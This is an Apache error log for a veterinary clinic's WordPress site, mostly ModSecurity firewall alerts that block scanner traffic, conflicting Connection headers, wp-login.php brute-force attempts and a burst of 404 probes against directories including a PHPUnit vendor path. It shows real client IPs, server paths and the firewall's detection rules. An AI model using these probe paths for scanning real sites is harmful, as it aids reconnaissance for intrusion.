[Mon Jan 12 13:38:46.066984 2026] [:error] [pid 51637:tid 51661] [client 170.106.187.106:38830] [client 170.106.187.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWSI5nrTvTmO_ovDgVBtGAAAAZI"]
[Mon Jan 12 15:31:58.559354 2026] [:error] [pid 51637:tid 51647] [client 152.53.164.187:58086] [client 152.53.164.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.164.187, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWSjbnrTvTmO_ovDgVCKqQAAAYQ"]
[Mon Jan 12 16:21:15.111973 2026] [:error] [pid 48213:tid 48235] [client 45.32.88.219:36598] [client 45.32.88.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.32.88.219, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWSu-2RmaItaLCBvAhjaoAAAANQ"]
[Mon Jan 12 16:21:35.337675 2026] [:error] [pid 48105:tid 48156] [client 182.42.111.213:36039] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWSvDzbe4SdLfSmtJe1l_QAAAFA"]
[Mon Jan 12 17:19:18.167043 2026] [:error] [pid 51896:tid 51919] [client 62.171.134.16:48296] [client 62.171.134.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.171.134.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWS8lt2Y52W2afNXn_V-AwAAAlQ"]
[Mon Jan 12 18:16:38.669707 2026] [:error] [pid 51956:tid 51966] [client 148.113.180.195:55052] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.113.180.195, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWTKBkb_j3zpZfEgGM8V9wAAAsg"]
[Mon Jan 12 19:11:42.384678 2026] [:error] [pid 51863:tid 51881] [client 100.27.46.0:46762] [client 100.27.46.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 100.27.46.0, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWTW7j2-QXSEuiZdYYZjmAAAAg4"]
[Mon Jan 12 20:03:26.180247 2026] [:error] [pid 51896:tid 51919] [client 167.172.235.216:65183] [client 167.172.235.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aWTjDt2Y52W2afNXn_WTAwAAAlQ"], referer: binance.com
[Mon Jan 12 20:11:01.673530 2026] [:error] [pid 51637:tid 51643] [client 46.105.230.99:16108] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.230.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWTk1XrTvTmO_ovDgVDSzAAAAYA"]
[Mon Jan 12 21:17:10.167646 2026] [ssl:error] [pid 51956:tid 51960] [client 44.242.159.201:33300] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Mon Jan 12 22:29:50.621802 2026] [autoindex:error] [pid 48106:tid 48187] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:29:50.981716 2026] [autoindex:error] [pid 48106:tid 48168] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:29:51.308545 2026] [autoindex:error] [pid 48106:tid 48173] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:29:51.619626 2026] [autoindex:error] [pid 48106:tid 48182] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:29:51.971725 2026] [autoindex:error] [pid 48106:tid 48190] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:29:52.291692 2026] [autoindex:error] [pid 48106:tid 48175] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:30:12.074125 2026] [autoindex:error] [pid 48106:tid 48174] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:30:12.712319 2026] [autoindex:error] [pid 48106:tid 48178] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:30:13.024347 2026] [autoindex:error] [pid 48106:tid 48188] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:30:13.332134 2026] [autoindex:error] [pid 48106:tid 48184] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:30:13.684353 2026] [autoindex:error] [pid 48106:tid 48189] [client 45.150.174.89:48578] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:30:26.109515 2026] [autoindex:error] [pid 48106:tid 48177] [client 45.150.174.89:48578] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:30:42.285844 2026] [:error] [pid 48106:tid 48184] [client 45.150.174.89:48578] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aWUFku_rz8jTZY4aXpSGWQAAAJE"]
[Mon Jan 12 22:30:44.178983 2026] [:error] [pid 51637:tid 51656] [client 45.150.174.89:48278] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aWUFlHrTvTmO_ovDgVD2PQAAAY0"]
[Mon Jan 12 22:30:45.659527 2026] [:error] [pid 51897:tid 51940] [client 45.150.174.89:48284] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aWUFldwDOJmYnFxYfDUJiwAAAo4"]
[Mon Jan 12 22:30:46.969416 2026] [:error] [pid 48106:tid 48167] [client 45.150.174.89:48300] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aWUFlu_rz8jTZY4aXpSGWwAAAIA"]
[Mon Jan 12 22:30:48.555709 2026] [:error] [pid 51863:tid 51874] [client 45.150.174.89:47488] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aWUFmD2-QXSEuiZdYYZ6cQAAAgc"]
[Mon Jan 12 22:30:50.053782 2026] [:error] [pid 51986:tid 52032] [client 45.150.174.89:47494] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aWUFmhiI5CoFGIbwGZZ9gQAAA1E"]
[Mon Jan 12 22:30:51.491635 2026] [:error] [pid 9303:tid 9312] [client 45.150.174.89:47506] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aWUFm9EoWhpeQ69gVtEFJAAAAUY"]
[Mon Jan 12 22:30:53.192980 2026] [:error] [pid 48106:tid 48177] [client 45.150.174.89:47508] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aWUFne_rz8jTZY4aXpSGaQAAAIo"]
[Mon Jan 12 22:30:55.075828 2026] [:error] [pid 48106:tid 48174] [client 45.150.174.89:47524] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aWUFn-_rz8jTZY4aXpSGcAAAAIc"]
[Mon Jan 12 22:30:56.974559 2026] [:error] [pid 48106:tid 48168] [client 45.150.174.89:47534] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aWUFoO_rz8jTZY4aXpSGdQAAAIE"]
[Mon Jan 12 22:30:58.453776 2026] [:error] [pid 48213:tid 48227] [client 45.150.174.89:52230] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aWUFomRmaItaLCBvAhgSWQAAAMw"]
[Mon Jan 12 22:31:00.056100 2026] [:error] [pid 9303:tid 9321] [client 45.150.174.89:52236] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aWUFpNEoWhpeQ69gVtEFJQAAAU8"]
[Mon Jan 12 22:31:01.455773 2026] [:error] [pid 51637:tid 51649] [client 45.150.174.89:52246] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aWUFpXrTvTmO_ovDgVD2RgAAAYY"]
[Mon Jan 12 22:31:02.872099 2026] [:error] [pid 48106:tid 48186] [client 45.150.174.89:52256] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aWUFpu_rz8jTZY4aXpSGfgAAAJM"]
[Mon Jan 12 22:31:03.953604 2026] [:error] [pid 48106:tid 48176] [client 45.150.174.89:52260] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aWUFp-_rz8jTZY4aXpSGgQAAAIk"]
[Mon Jan 12 22:31:05.579207 2026] [:error] [pid 9303:tid 9319] [client 45.150.174.89:52276] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aWUFqdEoWhpeQ69gVtEFJgAAAU0"]
[Mon Jan 12 22:31:07.954580 2026] [:error] [pid 48213:tid 48216] [client 45.150.174.89:52286] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aWUFq2RmaItaLCBvAhgSYAAAAME"]
[Mon Jan 12 22:31:09.586239 2026] [:error] [pid 48106:tid 48187] [client 45.150.174.89:49296] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aWUFre_rz8jTZY4aXpSGiQAAAJQ"]
[Mon Jan 12 22:31:11.184975 2026] [:error] [pid 51956:tid 51969] [client 45.150.174.89:49304] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aWUFr0b_j3zpZfEgGM8yrAAAAss"]
[Mon Jan 12 22:31:12.895787 2026] [:error] [pid 51897:tid 51936] [client 45.150.174.89:49308] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aWUFsNwDOJmYnFxYfDUJkQAAAoo"]
[Mon Jan 12 22:31:15.185116 2026] [:error] [pid 9303:tid 9307] [client 45.150.174.89:49324] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aWUFs9EoWhpeQ69gVtEFOQAAAUE"]
[Mon Jan 12 22:31:16.965975 2026] [:error] [pid 9303:tid 9326] [client 45.150.174.89:49330] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aWUFtNEoWhpeQ69gVtEFPgAAAVQ"]
[Mon Jan 12 22:31:18.155330 2026] [:error] [pid 48105:tid 48153] [client 45.150.174.89:49344] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aWUFtjbe4SdLfSmtJe2hJgAAAE0"]
[Mon Jan 12 22:31:19.398288 2026] [:error] [pid 51956:tid 51973] [client 45.150.174.89:35956] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aWUFt0b_j3zpZfEgGM8ysAAAAs8"]
[Mon Jan 12 22:31:20.953804 2026] [:error] [pid 48105:tid 48154] [client 45.150.174.89:35972] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aWUFuDbe4SdLfSmtJe2hLQAAAE4"]
[Mon Jan 12 22:31:22.054483 2026] [:error] [pid 48105:tid 48156] [client 45.150.174.89:35984] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aWUFujbe4SdLfSmtJe2hMAAAAFA"]
[Mon Jan 12 22:31:23.655588 2026] [:error] [pid 48105:tid 48148] [client 45.150.174.89:35998] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aWUFuzbe4SdLfSmtJe2hMwAAAEg"]
[Mon Jan 12 22:31:25.055517 2026] [:error] [pid 48213:tid 48221] [client 45.150.174.89:36012] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aWUFvWRmaItaLCBvAhgSbQAAAMY"]
[Mon Jan 12 22:31:26.091400 2026] [:error] [pid 51986:tid 52024] [client 45.150.174.89:36036] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aWUFvhiI5CoFGIbwGZZ9mgAAA0k"]
[Mon Jan 12 22:31:27.254821 2026] [:error] [pid 48213:tid 48227] [client 45.150.174.89:36052] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aWUFv2RmaItaLCBvAhgSbgAAAMw"]
[Mon Jan 12 22:31:28.057127 2026] [:error] [pid 48213:tid 48220] [client 45.150.174.89:36064] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aWUFwGRmaItaLCBvAhgSbwAAAMU"]
[Mon Jan 12 22:31:29.088787 2026] [:error] [pid 51986:tid 52034] [client 45.150.174.89:45812] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aWUFwRiI5CoFGIbwGZZ9nAAAA1M"]
[Mon Jan 12 22:31:30.058112 2026] [:error] [pid 48105:tid 48145] [client 45.150.174.89:45822] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aWUFwjbe4SdLfSmtJe2hNgAAAEU"]
[Mon Jan 12 22:31:31.355345 2026] [:error] [pid 9303:tid 9316] [client 45.150.174.89:45834] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aWUFw9EoWhpeQ69gVtEFSgAAAUo"]
